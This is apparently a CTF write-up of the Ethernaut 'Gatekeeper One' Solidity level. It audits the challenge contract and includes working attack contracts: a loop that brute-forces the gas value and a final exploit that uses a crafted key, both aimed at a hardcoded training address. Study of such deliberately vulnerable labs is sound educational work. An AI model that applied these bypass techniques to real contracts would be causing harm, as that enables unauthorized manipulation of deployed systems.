> For the complete documentation index, see [llms.txt](https://ret2basic.gitbook.io/ctfwriteup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ret2basic.gitbook.io/ctfwriteup/web3-ctf/ethernaut/gatekeeper-one.md).

# Gatekeeper One

## Description

Make it past the gatekeeper and register as an entrant to pass this level.

Things that might help:

* Remember what you've learned from the Telephone and Token levels.
* You can learn more about the special function `gasleft()`, in Solidity's documentation (see [here](https://docs.soliditylang.org/en/v0.8.3/units-and-global-variables.html) and [here](https://docs.soliditylang.org/en/v0.8.3/control-structures.html#external-function-calls)).

## Background Knowledge

### gasleft()

<https://ethereum.stackexchange.com/questions/48331/show-gas-used-in-solidity>

## Code Audit

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperOne {

  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    require(gasleft() % 8191 == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
      require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}
```

We are given three "gates" as modifiers and we should pass all these modifier to complete this level.

## Solution

### gateOne

```solidity
require(msg.sender != tx.origin);
```

We have seen this in "Telephone". A proxy contract suffices to pass this check.

### gateTwo

```solidity
require(gasleft() % 8191 == 0);
```

It means "right after `gasleft()` is called, the remaining gas up to that point (in the challenge contract) should be a multiple of 8191".

Note that we are dealing with modular arithmetics of mod 8191. In other words, we can just brute-force through the elements of the following group:

$$\mathbb{Z}/8191\mathbb{Z}$$

Let's start with some relatively large gas, say 100000, and brute-force:

```
100000 + 0
100000 + 1
100000 + 2
...
100000 + 8190
```

The correct gas must be one of these numbers. Translating this logic into code:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IGatekeeperOne {
    function enter(bytes8 _gateKey) external returns(bool);
}

contract attack {
    event Failed(bytes reason, uint256 gas);

    function run() external {
        IGatekeeperOne target = IGatekeeperOne(0x1A6742878b66bEA357790541894a38010831B05F);

        // Some dummy _gateKey passed into enter()
        bytes8 key;
        key = 0xdeadbeefdeadbeef;

        // Starts with 100000
        uint256 gas = 100000;
        // Brute-force 100000+0, 100000+1, ..., 100000+8190
        for(uint256 i; i < 8191; ++i) {
            gas += 1;
            try target.enter{gas:gas}(key) {}
            catch (bytes memory reason) {
                emit Failed(reason, gas);
            }
        }
    }
}
```

Deploy this contract in Remix and call `run()`. In the output, 8190 rounds of brute-forcing would fail and only 1 round would succeed. As a result, the `reason` field of that successful round must be distinct from all other rounds. To find out which round has unique `reason` field, copy the entire log and paste it to a text editor:

<figure><img src="/files/RKvcW0Utwa8SQaCGn6Cj" alt=""><figcaption></figcaption></figure>

Here I use the "find and replace" functionality of Sublime to delete all instances of `"reason": "0x"`, then the entry with `"reason": "0x08c379a000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000029476174656b65657065724f6e653a20696e76616c6964206761746554687265652070617274206f6e650000000000000000000000000000000000000000000000"` is filtered out. In my case the correct gas is 106739.

### gateThree

#### Check 1

```solidity
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)))
```

This is saying "the second half of `_gateKey` is equivalent to the last quarter of `_gateKey`". For example:

```
(0x) XXXX XXXX 0000 XXXX
```

#### Check 2

```solidity
require(uint32(uint64(_gateKey)) != uint64(_gateKey))
```

This is saying "the second half of `_gateKey` is not equivalent to `_gateKey`". The example we used for Check 1 is still good to use:

```
(0x) XXXX XXXX 0000 XXXX
```

We can choose:

```
(0x) dead beef 0000 XXXX
```

#### Check 3

```solidity
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)))
```

This specifies the last quarter of `_gateKey`. Here `tx.origin` is the address of our Metamask wallet. Take the last four hex digits of it. For me, it is 48ca:

```
(0x) dead beef 0000 48ca
```

### Exp

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IGatekeeperOne {
    function enter(bytes8 _gateKey) external returns(bool);
}

contract attack {
    event Failed(bytes reason, uint256 gas);

    function run() external {
        IGatekeeperOne target = IGatekeeperOne(0x1A6742878b66bEA357790541894a38010831B05F);

        bytes8 key;
        key = 0xdeadbeef000048ca;

        uint256 gas = 106739;
        target.enter{gas:gas}(key);
    }
}
```

Deploy the contract in Remix. Pass `0xdeadbeef000048ca` to `run()`.

## Summary

Well done! Next, try your hand with the second gatekeeper...
